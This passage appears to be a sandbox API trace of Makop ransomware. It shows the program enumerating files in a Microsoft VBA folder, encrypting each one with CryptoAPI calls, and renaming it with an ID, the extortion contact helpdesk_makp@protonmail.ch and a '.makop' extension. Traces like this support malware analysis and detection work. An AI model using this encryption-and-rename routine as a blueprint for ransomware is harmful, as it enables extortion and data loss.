Shared\\VBA\\VBA7\\1033\\FM20.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0101.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.870] CloseHandle (hObject=0x114) returned 1 [0101.870] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0101.870] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned 70 [0101.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0101.871] GetProcessHeap () returned 0x48a0000 [0101.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.871] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0101.871] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xa, lpOverlapped=0x0) returned 1 [0101.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.876] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.876] GetProcessHeap () returned 0x48a0000 [0101.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.876] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0101.876] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.876] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0101.876] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0101.877] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0101.877] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0101.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0101.877] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0101.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.877] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.877] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ac96, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x1ac96, lpOverlapped=0x0) returned 1 [0101.881] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x1aca0, dwBufLen=0x1aca0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x1aca0) returned 1 [0101.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.882] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x1aca0, lpOverlapped=0x0) returned 1 [0101.883] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ad64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.883] SetEndOfFile (hFile=0x114) returned 1 [0101.892] GetProcessHeap () returned 0x48a0000 [0101.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0101.892] GetProcessHeap () returned 0x48a0000 [0101.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.892] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0101.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.894] CloseHandle (hObject=0x114) returned 1 [0101.894] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0101.894] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned 73 [0101.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0101.898] GetProcessHeap () returned 0x48a0000 [0101.898] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.898] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.898] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0101.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.898] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.898] GetProcessHeap () returned 0x48a0000 [0101.898] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.898] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0101.898] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.899] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0101.903] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0101.903] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0101.903] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0101.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0101.904] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0101.904] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.904] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.904] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x25d50, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x25d50, lpOverlapped=0x0) returned 1 [0101.908] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x25d50, dwBufLen=0x25d50 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x25d50) returned 1 [0101.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.909] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x25d50, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x25d50, lpOverlapped=0x0) returned 1 [0101.911] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.911] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.911] SetEndOfFile (hFile=0x114) returned 1 [0101.921] GetProcessHeap () returned 0x48a0000 [0101.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.921] GetProcessHeap () returned 0x48a0000 [0101.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.921] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.923] CloseHandle (hObject=0x114) returned 1 [0101.923] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0101.923] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0101.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0101.938] GetProcessHeap () returned 0x48a0000 [0101.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.938] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0101.939] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x1, lpOverlapped=0x0) returned 1 [0101.943] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.943] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.944] GetProcessHeap () returned 0x48a0000 [0101.944] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.944] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0101.944] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.944] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0101.944] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0101.944] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0101.944] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0101.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0101.945] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0101.945] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.945] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.945] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.945] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1195f, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x1195f, lpOverlapped=0x0) returned 1 [0101.948] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x11960, dwBufLen=0x11960 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x11960) returned 1 [0101.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.949] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x11960, lpOverlapped=0x0) returned 1 [0101.950] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.950] SetEndOfFile (hFile=0x114) returned 1 [0101.958] GetProcessHeap () returned 0x48a0000 [0101.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.958] GetProcessHeap () returned 0x48a0000 [0101.958] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.958] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0101.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.960] CloseHandle (hObject=0x114) returned 1 [0101.960] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0101.960] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0101.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0101.961] GetProcessHeap () returned 0x48a0000 [0101.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.961] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.961] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0101.961] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x6, lpOverlapped=0x0) returned 1 [0101.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.966] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.966] GetProcessHeap () returned 0x48a0000 [0101.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.966] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0101.966] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.966] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0101.966] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0101.966] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0101.967] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0101.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0101.967] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0101.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.967] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.967] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2aa, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0xe2aa, lpOverlapped=0x0) returned 1 [0101.970] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0xe2b0, dwBufLen=0xe2b0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0xe2b0) returned 1 [0101.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.970] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0xe2b0, lpOverlapped=0x0) returned 1 [0101.971] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.971] SetFilePointerEx (in: hFile=0x114, 